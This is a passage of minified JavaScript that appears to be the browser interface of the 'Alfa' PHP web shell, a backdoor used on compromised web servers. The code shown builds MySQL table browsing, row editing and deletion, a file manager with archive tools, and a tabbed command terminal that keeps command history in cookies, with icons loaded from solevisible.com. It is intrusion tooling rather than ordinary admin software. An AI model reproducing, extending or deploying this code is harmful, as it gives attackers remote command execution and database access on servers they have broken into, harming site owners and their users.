onclick='alfaMysqlChangePage(this,2);'>>><\/span>\"}var y=d.querySelector(\"#\"+i);y.querySelector(\".mysql-search-area\").innerHTML=n,y.querySelector(\".mysql-insert-row\").innerHTML=r,y.querySelector(\".mysql-edit-row\").innerHTML=\"\",y.querySelector(\".mysql-structure\").innerHTML=o,y.querySelector(\".mysql-query-result-header .mysql-query-pager\").innerHTML=l,y.querySelector(\".mysql-query-table\").innerHTML=e.status?e.table:\"\",alfaMysqlTabCtl({child:1,db_id:i,target:\".mysql-query-result-content\"},!0),d.querySelector(\"#\"+i+\" .mysql-query-result-tabs div:nth-child(6)\").style.display=\"none\",alfaMysqlReportBuilder(i,e)}})}function alfaMysqlAlterTbl(e){var t=e.getAttribute(\"db_target\"),a=e.getAttribute(\"db_id\"),i=d.querySelector(\"#\"+a),l=e.getAttribute(\"tbl_name\"),r=e.getAttribute(\"col_name\"),o={};o.type=i.querySelector(\".mysql-structure select[name=sel_\"+r+\"]\").value,o.input=i.querySelector(\".mysql-structure input[name=value_\"+r+\"]\").value,alfaMysqlApi({db_id:a,db_target:t,ajax_id:\"mysql_table_alter\",db_info:{table:l,column:r,alter:o},post:{alfa2:\"alter\"}},function(e){var t=d.querySelector(\"#\"+a+\" .mysql-structure-qres\");t.innerHTML=e,t.style.display=\"block\"})}function alfaMysqlSearch(e){var t=e.getAttribute(\"db_target\"),a=e.getAttribute(\"db_id\"),i=d.querySelector(\"#\"+a),l=e.getAttribute(\"tbl_name\"),r={};i.querySelectorAll(\".mysql-search-area input, .mysql-search-area select\").forEach(function(e){r.hasOwnProperty(e.name)||(r[e.name]={}),\"SELECT\"==e.tagName?r[e.name].opt=e.value:r[e.name].value=e.value}),alfaMysqlApi({db_id:a,db_target:t,ajax_id:\"mysql_table_search_query\",db_info:{table:l,search:r},post:{alfa2:\"search\"}},function(e){0!=e.length&&(e=JSON.parse(e),alfaMysqlReportBuilder(a,e),alfaMysqlTabCtl({child:1,db_id:a,target:\".mysql-query-result-content\"},!0),d.querySelector(\"#\"+a+\" .mysql-query-table\").innerHTML=e.table)})}function alfaMysqlEditRow(e,t){var a=e.getAttribute(\"db_target\"),i=e.getAttribute(\"db_id\"),l=(d.querySelector(\"#\"+i),e.getAttribute(\"col_key\")),r=e.getAttribute(\"key\"),o=e.getAttribute(\"tbl_name\"),n=e.getAttribute(\"row_id\");alfaMysqlApi({db_id:i,db_target:a,ajax_id:\"mysql_table_edit_query\",db_info:{table:o,col_key:l,key:r},post:{alfa2:t}},function(e){if(0!=e.length)if(e=JSON.parse(e),\"edit\"==t){var s=\"<table border='1'><tr style='text-align: left;background-color: #305b8e;color:#FFFFFF;'><th>Column<\/th><th>Type<\/th><th>Value<\/th><\/tr>\";for(var c in e){var u=\"\";switch(e[c].type.tag){case\"textarea\":u=\"<textarea name='\"+e[c].col+\"' rows='5'>\"+e[c].value+\"<\/textarea>\";break;case\"input\":u=\"<input type='\"+e[c].type.type+\"' name='\"+e[c].col+\"' value='\"+e[c].value+\"'>\"}s+=\"<tr><th style='text-align: left;'>\"+e[c].col+\"<\/th><td>\"+e[c].type.col_type+\"<\/td><td>\"+u+\"<\/td><\/tr>\"}s+=\"<\/table><div style='margin-left:20px;'><button col_key='\"+l+\"' key='\"+r+\"' tbl_name='\"+o+\"' db_id='\"+i+\"' db_target='\"+a+\"' onclick='alfaMysqlUpdateRow(this, \\\"edit\\\");return false;'>Update<\/button><\/div><div class='mysql-update-result'><\/div>\",d.querySelector(\"#\"+i+\" .mysql-edit-row\").innerHTML=s,alfaMysqlTabCtl({child:6,db_id:i,target:\".mysql-edit-row\"},!0),d.querySelector(\"#\"+i+\" .mysql-query-result-tabs div:nth-child(6)\").style.display=\"inline-block\"}else\"delete\"==t&&(e.status?d.querySelector(\"#\"+i+\" .tbl_row_l\"+n).remove():alert(e.error))})}function alfaMysqlTblSelectAll(e){var t=e.getAttribute(\"db_id\");d.querySelectorAll(\"#\"+t+\" .mysql-main input[name=tbl_rows_checkbox\\\\[\\\\]]\").forEach(function(t){t.checked=e.checked})}function alfaMysqlDeleteAllSelectedrows(e){var t=e.getAttribute(\"db_id\"),a=e.getAttribute(\"db_target\"),i=e.getAttribute(\"col_key\"),l=e.getAttribute(\"tbl_name\"),r=[];if(d.querySelectorAll(\"#\"+t+\" .mysql-main input[name=tbl_rows_checkbox\\\\[\\\\]]\").forEach(function(e){e.checked&&r.push(e.value)}),0==r.length)return!1;alfaMysqlApi({db_id:t,db_target:a,ajax_id:\"mysql_table_delete_all_query\",db_info:{table:l,col_key:i,rows:r},post:{alfa2:\"delete_all\"}},function(e){if(\"\"!=e)if((e=JSON.parse(e)).status){var a=0,i=d.querySelector(\"#\"+t);d.querySelectorAll(\"#\"+t+\" .mysql-main input[name=tbl_rows_checkbox\\\\[\\\\]]\").forEach(function(e){e.checked&&(a=e.getAttribute(\"row_id\"),i.querySelector(\".tbl_row_l\"+a).remove())})}else alert(e.error)})}function alfaMysqlUpdateRow(e,t){var a=e.getAttribute(\"db_target\"),i=e.getAttribute(\"db_id\"),l=d.querySelector(\"#\"+i),r=\".mysql-insert-row\",o=\".mysql-insert-result\",n=\"mysql_table_insert_query\",s=\"insert\",c={table:e.getAttribute(\"tbl_name\")};if(\"edit\"==t){var u=e.getAttribute(\"col_key\"),p=e.getAttribute(\"key\");r=\".mysql-edit-row\",o=\".mysql-update-result\",n=\"mysql_table_update_query\",s=\"update\",c.col_key=u,c.key=p}var f={};l.querySelectorAll(r+\" input, \"+r+\" textarea\").forEach(function(e){f.hasOwnProperty(e.name)||(f[e.name]={}),f[e.name]=e.value}),c.data=f,alfaMysqlApi({db_id:i,db_target:a,ajax_id:n,db_info:c,post:{alfa2:s}},function(e){if(0!=e.length){e=JSON.parse(e);var t=d.querySelector(\"#\"+i+\" \"+o);t.style.display=\"block\",e.status?t.innerHTML=\"Success...\":t.innerHTML=e.error}})}function alfaMysqlLoadDataType(e){e=e.toUpperCase();var t=[\"INT\",\"VARCHAR\",\"TEXT\",\"DATE\",{key:\"Numeric\",vals:[\"TINYINT\",\"SMALLINT\",\"MEDIUMINT\",\"INT\",\"BIGINT\",\"-\",\"DECIMAL\",\"FLOAT\",\"DOUBLE\",\"REAL\",\"-\",\"BIT\",\"BOOLEAN\",\"SERIAL\"]},{key:\"Date and time\",vals:[\"DATE\",\"DATETIME\",\"TIMESTAMP\",\"TIME\",\"YEAR\"]},{key:\"String\",vals:[\"CHAR\",\"VARCHAR\",\"-\",\"TINYTEXT\",\"TEXT\",\"MEDIUMTEXT\",\"LONGTEXT\",\"-\",\"BINARY\",\"VARBINARY\",\"-\",\"TINYBLOB\",\"MEDIUMBLOB\",\"BLOB\",\"LONGBLOB\",\"-\",\"ENUM\",\"SET\"]},{key:\"Spatial\",vals:[\"GEOMETRY\",\"POINT\",\"LINESTRING\",\"POLYGON\",\"MULTIPOINT\",\"MULTILINESTRING\",\"MULTIPOLYGON\",\"GEOMETRYCOLLECTION\"]},{key:\"JSON\",vals:[\"JSON\"]}],a=\"\",i=!1;for(var l in t)if(\"object\"==typeof t[l]){for(var r in a+='<optgroup label=\"'+t[l].key+'\">',t[l].vals)a+=\"<option\"+(t[l].vals[r]!=e||i?\"\":\" selected\")+\">\"+t[l].vals[r]+\"<\/option>\",t[l].vals[r]==e&&(i=!0);a+=\"<\/optgroup>\"}else a+=\"<option\"+(t[l]!=e||i?\"\":\" selected\")+\">\"+t[l]+\"<\/option>\",t[l]==e&&(i=!0);return a}function alfaMysqlChangePage(e,t){var a=e.getAttribute(\"db_id\"),i=0;if(void 0!==t){e=d.querySelector(\"#\"+a+\" select[name=mysql-q-pages]\");var l=parseInt(e.getAttribute(\"pages\"));if(i=parseInt(e.value),1==t?--i:++i,0==i||l<i)return!1;e.value=i}else i=e.value;var r=e.getAttribute(\"db_target\"),o=e.getAttribute(\"tbl_name\");alfaMysqlApi({db_id:a,db_target:r,ajax_id:\"mysql_table_change_page\",db_info:{table:o,page:i},post:{alfa2:\"page\"}},function(e){0!=e.length&&(e=JSON.parse(e),alfaMysqlReportBuilder(a,e),d.querySelector(\"#\"+a+\" .mysql-query-table\").innerHTML=e.table)})}function alfaRemoveCookie(e){document.cookie=e+\"=;Max-Age=0; path=\/;\"}function alfaLogOut(){alfaRemoveCookie(\"AlfaUser\"),alfaRemoveCookie(\"AlfaPass\"),location.reload()}var alfaAlertBox=function(e,t){this.types={success:{class:\"alert-success\",icon:\"http:\/\/solevisible.com\/icons\/menu\/check-mark1.svg\"},error:{class:\"alert-error\",icon:\"http:\/\/solevisible.com\/icons\/menu\/warning.svg\"}},this.show=function(a){if(\"\"===a||null==a)throw'\"msg parameter is empty\"';var i=document.querySelector(e),l=document.createElement(\"DIV\"),r=document.createElement(\"DIV\"),o=document.createElement(\"DIV\"),n=document.createElement(\"A\"),s=document.createElement(\"div\"),c=document.createElement(\"IMG\"),d=this;if(s.style.display=\"inline-block\",s.style.marginRight=\"10px\",r.style.display=\"inline-block\",o.classList.add(\"alert-content\"),o.innerText=a,n.classList.add(\"alert-close\"),n.setAttribute(\"href\",\"#\"),l.classList.add(\"alert-box\"),c.src=this.types[t.type].icon,c.style.width=\"30px\",s.appendChild(c),l.appendChild(s),t.hasOwnProperty(\"title\")){var u=document.createElement(\"DIV\");u.classList.add(\"alert-content-title\"),u.innerText=t.title,r.appendChild(u)}if(r.appendChild(o),l.appendChild(r),t.hideCloseButton&&void 0!==t.hideCloseButton||l.appendChild(n),t.hasOwnProperty(\"type\")&&l.classList.add(this.types[t.type].class),i.appendChild(l),n.addEventListener(\"click\",function(e){e.preventDefault(),d.hide(l)}),!t.persistent)var p=setTimeout(function(){d.hide(l),clearTimeout(p)},t.closeTime)},this.hide=function(e){e.classList.add(\"hide\");var t=setTimeout(function(){e.parentNode.removeChild(e),clearTimeout(t)},500)}};function alfaShowNotification(e,t,a,i,l){void 0===a&&(a=\"success\"),void 0===i&&(i=!1),void 0===l&&(l=1e4);var r={closeTime:l,persistent:i,type:a,hideCloseButton:!1};void 0!==t&&(r.title=t),new alfaAlertBox(\"#alert-area\",r).show(e)}function alfaSyncMenuToOpt(e,t){var a=\"\",i=\"\",l=null;void 0!==t?(a=\"view_archive\",i=e,l=location):(a=e.name,i=e.getAttribute(\"fname\"),l=e),\"extract\"==a?(alfa_can_add_opt=!0,l.href=\"#action=options&path=\"+c_+\"&opt=deziper\",g(\"deziper\",null,\"\",\"\",c_+\"\/\"+i),d.querySelector(\".opt-title\").innerHTML=\"DeCompressor\"):\"compress\"==a?(alfa_can_add_opt=!0,l.href=\"#action=options&path=\"+c_+\"&opt=ziper\",g(\"ziper\",null,\"\",\"\",c_+\"\/\"+i),d.querySelector(\".opt-title\").innerHTML=\"Compressor\"):\"view_archive\"==a&&(alfa_can_add_opt=!0,l.href=\"#action=options&path=\"+c_+\"&opt=archive_manager\",g(\"archive_manager\",null,\"\",c_+\"\/\"+i,\"\"),d.querySelector(\".opt-title\").innerHTML=\"Archive Manager\")}function doFilterName(e){var t=\"#filesman_holder_\"+alfa_current_fm_id;setTimeout(function(){var a=new RegExp(e.value,\"i\");d.querySelectorAll(t+\" .fmanager-row\").forEach(function(e){-1==e.querySelector(\".main_name\").getAttribute(\"fname\").search(a)?e.style.display=\"none\":e.style.display=\"table-row\"})},100)}function sortBySelectedValue(e,t){setCookie(t,e.options[e.selectedIndex].value,2012),g(\"FilesMan\",c_)}function loadPopUpDatabase(e,t,a){if(console.log(t),$(\"database_window\").style.display=\"block\",void 0===t){try{d.querySelector(\".sql-content.sql-active-content\").classList.remove(\"sql-active-content\")}catch(e){}try{d.querySelector(\".sql-tabname.sql-active-tab\").classList.remove(\"sql-active-tab\")}catch(e){}try{d.querySelector(\".sql-tabs .sql-newtab\").remove()}catch(e){}var i=\"id_db_\"+getRandom(10);d.querySelector(\"#database_window .content_options_holder .sql-contents\").insertAdjacentHTML(\"afterbegin\",'<div id=\"'+i+'\" class=\"sql-content sql-active-content\">'+e+\"<\/div>\"),d.querySelector(\"#database_window .content_options_holder .sql-tabs\").insertAdjacentHTML(\"beforeend\",'<div id=\"tab_'+i+'\" opt_id=\"'+i+'\" class=\"sql-tabname sql-active-tab\" onclick=\"dbTabController(this);\"><span style=\"font-weight:unset;\">New DB Connection<\/span> <img opt_id=\"'+i+'\" onclick=\"closeDatabase(this,event);return false;\" title=\"[close]\" src=\"http:\/\/solevisible.com\/icons\/menu\/delete.svg\"><\/div><div class=\"sql-newtab\" onclick=\"alfa_can_add_opt=true;g(\\'sql\\',null,\\'\\',\\'\\',\\'\\');\" style=\"background-color:#800000;\"><span style=\"font-weight:unset;\">New Tab +<\/span><\/div>'),$(i).querySelectorAll(\".db-opt-id\").forEach(function(e){e.setAttribute(\"db_id\",i)});try{$(i).querySelector(\".getconfig\").setAttribute(\"base_id\",i)}catch(e){}return i}$(t).innerHTML=e;var l=$(\"tab_\"+t);null!=l&&((-1==l.classList.value.indexOf(\"sql-active-tab\")||database_window_is_minimized)&&(l.classList.add(\"tab-is-done\"),alfaShowNotification(\"proccess is done...\",\"DB: \"+l.innerText)),database_window_is_minimized&&alfaUpdateOptionsBadge(\"database_window\")),void 0!==mysql_cache[t]&&mysql_cache[t].hasOwnProperty(\"db\")&&mysql_cache[t].db.length>0&&\"update\"!=a&&(d.querySelector(\"#tab_\"+t+\">span\").innerHTML=mysql_cache[t].db),$(t).querySelectorAll(\".db-opt-id\").forEach(function(e){e.setAttribute(\"db_id\",t)});try{$(t).querySelector(\".getconfig\").setAttribute(\"base_id\",t)}catch(e){}database_window_is_minimized||(d.body.style.overflow=\"hidden\")}function loadPopUpOpTions(e,t){console.log(e),alfa_before_do_action_id=\"\",$(\"options_window\").style.display=\"block\";var a=$(\"option_\"+e);if(alfa_can_add_opt){alfa_can_add_opt=!1;try{d.querySelector(\".options_holder.option_is_active\").classList.remove(\"option_is_active\")}catch(e){}var i=\"\",l=$(\"menu_opt_\"+e).innerHTML;\"market\"==e?l=\"Alfa Market\":\"GetDisFunc\"==e&&(l=\"Disable Functions\");try{d.querySelector(\"#options_window .content_options_holder .options_tab .tab_name.tab_is_active\").classList.remove(\"tab_is_active\")}catch(e){}if(null!=a){var r=a.getAttribute(\"opt_count\");null!=r?(i=parseInt(r)+1,a.setAttribute(\"opt_count\",i)):(i=1,a.setAttribute(\"opt_count\",i))}var o=\"option_\"+e+i;d.querySelector(\"#options_window .content_options_holder .options_content\").insertAdjacentHTML(\"afterbegin\",'<div id=\"'+o+'\" class=\"options_holder\">'+t+\"<\/div>\"),d.querySelector(\"#options_window .content_options_holder .options_tab\").insertAdjacentHTML(\"beforeend\",'<div opt_id=\"'+o+'\" onclick=\"optionsTabController(this);\" title=\"'+l+'\" id=\"tab_'+o+'\" class=\"tab_name tab_is_active\">'+l+' <img opt_id=\"'+o+'\" onclick=\"closeOption(this,event);return false;\" title=\"[close]\" src=\"http:\/\/solevisible.com\/icons\/menu\/delete.svg\"><\/div>'),$(o).classList.toggle(\"option_is_active\"),d.querySelectorAll(\"#\"+o+\" form, #\"+o+\" a\").forEach(function(t){var a=t.classList.value;if(\"getconfig\"==a||\"rejectme\"==a)return!1;if(\"FORM\"==t.tagName){var l=t.getAttribute(\"onsubmit\");t.setAttribute(\"onsubmit\",'alfaBeforeDoAction(\"'+e+i+'\");'+l),t.setAttribute(\"opt_id\",e+i)}else{l=t.getAttribute(\"onclick\");t.setAttribute(\"onclick\",'alfaBeforeDoAction(\"'+e+i+'\");'+l)}});try{$(o).querySelector(\".getconfig\").setAttribute(\"base_id\",e+i)}catch(e){}return e+i}a.innerHTML=t;var n=$(\"tab_option_\"+e);null!=n&&((-1==n.classList.value.indexOf(\"tab_is_active\")||options_window_is_minimized)&&(n.classList.add(\"tab-is-done\"),alfaShowNotification(\"proccess is done...\",n.innerText)),options_window_is_minimized&&alfaUpdateOptionsBadge(\"options_window\")),d.querySelectorAll(\"#option_\"+e+\" form, #option_\"+e+\" a\").forEach(function(t){var a=t.classList.value;if(\"getconfig\"==a||\"rejectme\"==a)return!1;if(\"FORM\"==t.tagName){var i=t.getAttribute(\"onsubmit\");t.setAttribute(\"onsubmit\",'alfaBeforeDoAction(\"'+e+'\");'+i),t.setAttribute(\"opt_id\",e)}else{i=t.getAttribute(\"onclick\");t.setAttribute(\"onclick\",'alfaBeforeDoAction(\"'+e+'\");'+i)}});try{a.querySelector(\".getconfig\").setAttribute(\"base_id\",e)}catch(e){}options_window_is_minimized||(d.body.style.overflow=\"hidden\")}function alfaBeforeDoAction(e){alfa_before_do_action_id=e}function alfaLoaderOnTop(e){$(\"a_loader\").style.display=e,d.body.style.overflow=\"block\"==e?\"hidden\":\"visible\"}function alfaAjaxController(e){var t=e.getAttribute(\"parent\");$(\"loader_\"+t).remove(),\"filesman_holder\"==t.substr(0,15)&&($(t).style.minHeight=\"0\"),_ALFA_AJAX_.hasOwnProperty(t)&&_ALFA_AJAX_[t].abort()}function closeDatabase(e,t){t.stopPropagation();var a=e.getAttribute(\"opt_id\");if($(a).remove(),-1!=$(\"tab_\"+a).classList.value.indexOf(\"sql-active-tab\"))if((e=d.querySelectorAll(\".sql-tabs .sql-tabname\")).length>1){e[0].classList.add(\"sql-active-tab\");var i=e[0].getAttribute(\"opt_id\");null!=$(i)&&$(i).classList.toggle(\"sql-active-content\")}else editorClose(\"database_window\");d.querySelector(\"div[opt_id=\"+a+\"]\").remove()}function closeFmTab(e,t){t.stopPropagation();var a=e.getAttribute(\"fm_id\"),i=$(\"filesman_tab_\"+a);if(-1!=i.classList.value.indexOf(\"filesman-tab-active\")&&(e=d.querySelectorAll(\"#filesman_tabs .filesman_tab\")).length>1){e[0].classList.add(\"filesman-tab-active\");var l=e[0].getAttribute(\"fm_id\"),r=\"filesman_holder_\"+l;if(null!=$(r)){$(r).classList.toggle(\"filesman-active-content\");var o=$(\"filesman_tab_\"+l).getAttribute(\"path\");initDir(o),d.mf.c.value=o,alfa_current_fm_id=l}}i.remove(),$(\"filesman_holder_\"+a).remove(),alfaFilesmanTabHideTitle()}function closeOption(e,t){t.stopPropagation();var a=e.getAttribute(\"opt_id\");if($(a).remove(),-1!=$(\"tab_\"+a).classList.value.indexOf(\"tab_is_active\"))if((e=d.querySelectorAll(\".options_tab .tab_name\")).length>1){e[0].classList.add(\"tab_is_active\");var i=e[0].getAttribute(\"opt_id\");null!=$(i)&&$(i).classList.toggle(\"option_is_active\")}else editorClose(\"options_window\");d.querySelector(\"div[opt_id=\"+a+\"]\").remove()}function historyPanelController(e){\"hidden\"==e.getAttribute(\"mode\")?(d.querySelector(\".editor-explorer\").style.display=\"block\",d.querySelector(\".editor-modal\").style.marginLeft=\"20%\",e.setAttribute(\"mode\",\"visible\"),e.style.left=\"19%\",e.innerHTML=\"<<\"):(d.querySelector(\".editor-explorer\").style.display=\"none\",d.querySelector(\".editor-modal\").style.marginLeft=\"1%\",e.setAttribute(\"mode\",\"hidden\"),e.style.left=\"0%\",e.innerHTML=\">>\")}function closeTerminalContent(e,t){t.stopPropagation();var a=e.getAttribute(\"term_id\");if(($(a).remove(),-1!=$(\"tab_\"+a).classList.value.indexOf(\"active-terminal-tab\"))&&(e=d.querySelectorAll(\".terminal-tabs .terminal-tab\")).length>1){e[0].classList.add(\"active-terminal-tab\");var i=e[0].getAttribute(\"term_id\");null!=$(i)&&$(i).classList.toggle(\"active-terminal-content\")}d.querySelector(\"div[term_id=\"+a+\"]\").remove()}function closeEditorContent(e,t){t.stopPropagation();var a=e.getAttribute(\"opt_id\");if(($(a).remove(),-1!=$(\"tab_\"+a).classList.value.indexOf(\"editor-tab-active\"))&&(e=d.querySelectorAll(\".editor-tabs .editor-tab-name\")).length>1){e[0].classList.add(\"editor-tab-active\");var i=e[0].getAttribute(\"opt_id\");null!=$(i)&&$(i).classList.toggle(\"editor-content-active\")}d.querySelector(\"div[opt_id=\"+a+\"]\").remove()}function optionsTabController(e){try{d.querySelector(\".options_holder.option_is_active\").classList.remove(\"option_is_active\")}catch(e){}var t=e.getAttribute(\"opt_id\");if(null==t)return!1;$(t).classList.toggle(\"option_is_active\");try{d.querySelector(\"#options_window .content_options_holder .options_tab \\t.tab_name.tab_is_active\").classList.remove(\"tab_is_active\")}catch(e){}e.classList.remove(\"tab-is-done\"),e.classList.add(\"tab_is_active\"),d.querySelector(\".opt-title\").innerHTML=e.getAttribute(\"title\"),alfaUpdateOptionsBadge(\"options_window\")}function terminalTabController(e){try{d.querySelector(\".terminal-tab.active-terminal-tab\").classList.remove(\"active-terminal-tab\")}catch(e){}try{d.querySelector(\".terminal-content.active-terminal-content\").classList.remove(\"active-terminal-content\")}catch(e){}var t=e.getAttribute(\"term_id\");if(null==t)return!1;$(t).classList.toggle(\"active-terminal-content\"),e.classList.remove(\"tab-is-done\"),e.classList.add(\"active-terminal-tab\"),$(t).querySelector(\".php-terminal-input\").focus(),alfaUpdateOptionsBadge(\"cgiloader\")}function filesmanTabController(e){try{d.querySelector(\".ajaxarea.filesman-active-content\").classList.remove(\"filesman-active-content\")}catch(e){}try{d.querySelector(\".filesman_tab.filesman-tab-active\").classList.remove(\"filesman-tab-active\")}catch(e){}var t=e.getAttribute(\"fm_id\");if(null==t)return!1;alfa_current_fm_id=t,e.classList.add(\"filesman-tab-active\"),e.classList.remove(\"tab-is-done\"),$(\"filesman_holder_\"+t).classList.toggle(\"filesman-active-content\");var a=e.getAttribute(\"path\");initDir(a),d.mf.c.value=a}function dbTabController(e){try{d.querySelector(\".sql-content.sql-active-content\").classList.remove(\"sql-active-content\")}catch(e){}try{d.querySelector(\".sql-tabname.sql-active-tab\").classList.remove(\"sql-active-tab\")}catch(e){}var t=e.getAttribute(\"opt_id\");if(null==t)return!1;$(t).classList.toggle(\"sql-active-content\"),e.classList.remove(\"tab-is-done\"),e.classList.add(\"sql-active-tab\"),alfaUpdateOptionsBadge(\"database_window\")}function editorTabController(e,t){try{d.querySelector(\".editor-contents.editor-content-active\").classList.remove(\"editor-content-active\")}catch(e){}var a=null;void 0===t?a=e.getAttribute(\"opt_id\"):(a=e,e=$(\"tab_\"+a));var i=editor_files[\"file_\"+a.replace(\"editor_source_\",\"\")];if(void 0!==i&&(d.querySelector(\".editor-path\").innerHTML=(i.pwd+\"\/\"+i.file).replace(\/\\\/\\\/\/g,\"\/\")),null==a)return!1;$(a).classList.toggle(\"editor-content-active\");try{d.querySelector(\".editor-tabs .editor-tab-name.editor-tab-active\").classList.remove(\"editor-tab-active\")}catch(e){}e.classList.remove(\"tab-is-done\"),e.classList.add(\"editor-tab-active\"),alfaUpdateOptionsBadge(\"editor\")}function alfaUpdateOptionsBadge(e){var t=d.querySelector(\"#\"+e+\"-minimized .options_min_badge\");if(null!=t){var a=d.querySelectorAll(\"#\"+e+\" .tab-is-done\").length;t.innerHTML=a,t.style.visibility=a>0?\"visible\":\"hidden\"}}function alfaOpenPhpTerminal(e){if(php_temrinal_using_cgi&&void 0===e)showEditor(\"cgiloader\");else{$(\"cgiloader\").style.display=\"block\",$(\"cgiloader\").style.background=\"rgba(0, 0, 0, 0.57)\",$(\"cgiframe\").style.background=\"rgba(0, 0, 0, 0.81)\",$(\"cgiframe\").style.border=\"1px solid rgb(30, 86, 115)\",$(\"cgiframe\").style.height=\"90%\",$(\"cgiframe\").style.padding=\"3px\",d.querySelector(\"#cgiloader .opt-title\").innerHTML=\"Terminal\";var t=\"\",a=\"\",i=\"terminal_id_\"+getRandom(10);void 0===e&&(t=\" active-terminal-content\",a=\" active-terminal-tab\"),d.querySelector(\"#cgiframe .terminal-contents\").insertAdjacentHTML(\"afterbegin\",'<div id=\"'+i+'\" class=\"terminal-content'+t+'\"><div class=\"php-terminal-output\"><div><button class=\"terminal-btn-fontctl\" onClick=\"changeTerminalFontSize(\\''+i+'\\',1);\">+<\/button><button class=\"terminal-btn-fontctl\" onClick=\"changeTerminalFontSize(\\''+i+\"',0);\\\">-<\/button><input onchange=\\\"alfaTerminalChangecolor(this,'\"+i+'\\');\" style=\"height: 18px;background: #dde2e2;\" type=\"color\"><\/div><pre class=\"ml1\" style=\"border:unset;height: 90%;\"><\/pre><\/div><div><form term_id=\"'+i+'\" onSubmit=\"alfaExecTerminal(this);this.c.value=\\'\\';return false;\" autocomplete=\"off\" style=\"margin-top: 10px;\"><div style=\"overflow: auto;white-space: nowrap;\"><div style=\"display: inline-block;color:#4fbec3;margin-bottom:5px;margin-right:5px;\">CWD:~# <\/div><div style=\"display: inline-block;color:#42ec42;\" class=\"php-terminal-current-dir\"><\/div><\/div><div style=\"position:relative;\"><span style=\"color: #00ff08;font-size: 25px;\">$ <\/span><input style=\"padding: 8px;font-size: 20px;width: 67%;border: 1px solid #27979B;padding-right:35px;\" onkeyup=\"alfaWalkInTerminalHistory(this,event,\\''+i+'\\');\" term_id=\"'+i+'\" class=\"php-terminal-input\" type=\"text\" name=\"c\" onfocus=\"closeHistoryCmd(\\'free\\',this);\" placeholder=\"ls -la\"><button class=\"button\" style=\"color: #27979B;padding: 12px;margin-left: 10px;border-radius: 2px;font-weight: bolder;\">ExeCute<button term_id=\"'+i+'\" class=\"button\" style=\"color: #27979B;padding: 12px;margin-left: 10px;border-radius: 2px;font-weight: bolder;\" onClick=\"alfaExecTerminal(this, 1);return false;\">Current Dir<\/button><div class=\"cmd-history-holder\"><div class=\"commands-history-header\">History<\/div><span onClick=\"clearTerminalHistory();\" style=\"border-bottom: 1px solid;margin-bottom: 5px;display: inline-block;padding: 5px;color: #59de69;cursor: pointer;\">Clear history<\/span><div style=\"overflow: auto;height: 82%;\" class=\"commands-history\"><\/div><\/div><div term_id=\"'+i+'\" class=\"cmd-history-icon\" mode=\"\" onclick=\"closeHistoryCmd(this);\"><img style=\"width:27px;\" src=\"http:\/\/solevisible.com\/icons\/menu\/time2.svg\"><\/div><\/form><\/div><\/div><\/div>');try{$(\"terminal_new_tab\").remove()}catch(e){}d.querySelector(\"#cgiframe .terminal-tabs\").insertAdjacentHTML(\"beforeend\",'<div onclick=\"terminalTabController(this);\" term_id=\"'+i+'\" id=\"tab_'+i+'\" class=\"terminal-tab'+a+'\">Terminal <img term_id=\"'+i+'\" onclick=\"closeTerminalContent(this,event);return false;\" title=\"[close]\" src=\"http:\/\/solevisible.com\/icons\/menu\/delete.svg\"><\/div>'),d.querySelector(\"#cgiframe .terminal-tabs\").insertAdjacentHTML(\"beforeend\",'<div onclick=\"alfaOpenPhpTerminal(true);\" id=\"terminal_new_tab\" style=\"background-color:#800000;\" class=\"terminal-tab\">New Tab +<\/div>'),terminal_walk_index[i]={index:0,key:-1},d.querySelector(\"#\"+i+\" .php-terminal-input\").focus(),d.querySelector(\"#\"+i+\" .php-terminal-current-dir\").innerHTML=c_,d.querySelector(\"#cgiloader-minimized .minimized-text\").innerHTML=\"Terminal\",alfaTerminalSetColorAndSize(i),php_temrinal_using_cgi=!0;var l=alfaGetTerminalHistory();for(var r in l)d.querySelector(\"#\"+i+\" .cmd-history-holder .commands-history\").insertAdjacentHTML(\"afterbegin\",\"<div onclick=\\\"d.querySelector('#\"+i+' .php-terminal-input\\').value = this.innerHTML;\" class=\"history-cmd-line\">'+l[r]+\"<\/div>\")}d.body.style.overflow=\"hidden\"}function alfaTerminalSetColorAndSize(e){var t=getCookie(\"alfa-terminal-color\"),a=getCookie(\"alfa-terminal-fontsize\");void 0!==t&&(d.querySelector(\"#\"+e+\" pre.ml1\").style.color=t),void 0!==a&&(d.querySelector(\"#\"+e+\" pre.ml1\").style.fontSize=a)}function alfaTerminalChangecolor(e,t){d.querySelector(\"#\"+t+\" pre.ml1\").style.color=e.value,setCookie(\"alfa-terminal-color\",e.value,2012)}function alfaGetTerminalHistory(e){var t=getCookie(\"alfa-terminal-history\");try{t=atob(t),t=JSON.parse(t)}catch(e){t=[]}return void 0!==e&&t.reverse(),t}function changeTerminalFontSize(e,t){var a=d.querySelector(\"#\"+e+\" pre.ml1\"),i=parseInt(window.getComputedStyle(a,null).getPropertyValue(\"font-size\")),l=\"\";1==t?(l=i+1+\"px\",a.style.fontSize=l):(l=i-1+\"px\",a.style.fontSize=l),setCookie(\"alfa-terminal-fontsize\",l,2012)}function alfaWalkInTerminalHistory(e,t,a){var i=t||window.event;if(\"38\"==i.keyCode||\"40\"==i.keyCode||\"37\"==i.keyCode||\"39\"==i.keyCode)switch(i.keyCode){case 38:var l=alfaGetTerminalHistory(!0),r=\"\";0==terminal_walk_index[a].index?(0==terminal_walk_index[a].key&&++terminal_walk_index[a].index,void 0!==(r=l[terminal_walk_index[a].index])?(e.value=r,++terminal_walk_index[a].index):(e.value=\"\",terminal_walk_index[a].index=0)):terminal_walk_index[a].index<l.length&&(0==terminal_walk_index[a].key&&++terminal_walk_index[a].index,e.value=l[terminal_walk_index[a].index],++terminal_walk_index[a].index),terminal_walk_index[a].key=1;break;case 40:l=alfaGetTerminalHistory(!0);if(terminal_walk_index[a].index>=0)0!=terminal_walk_index[a].index&&(--terminal_walk_index[a].index,1==terminal_walk_index[a].key&&--terminal_walk_index[a].index),void 0!==(r=l[terminal_walk_index[a].index])?e.value=r:(e.value=\"\",terminal_walk_index[a].index=0);terminal_walk_index[a].key=0;break;default:console.log(i.keyCode)}else terminal_walk_index[a].index=0}function clearTerminalHistory(){d.querySelectorAll(\".commands-history\").forEach(function(e){e.innerHTML=\"\"}),setCookie(\"alfa-terminal-history\",\"\",2012)}function alfaAceToFullscreen(e){var t=e.getAttribute(\"ace_id\");alfa_ace_editors.editor[t].container.requestFullscreen()}function closeHistoryCmd(e,t){if(\"free\"==e){var a=t.getAttribute(\"term_id\");return e=d.querySelector(\"#\"+a+\" .cmd-history-icon\"),d.querySelector(\"#\"+a+\" 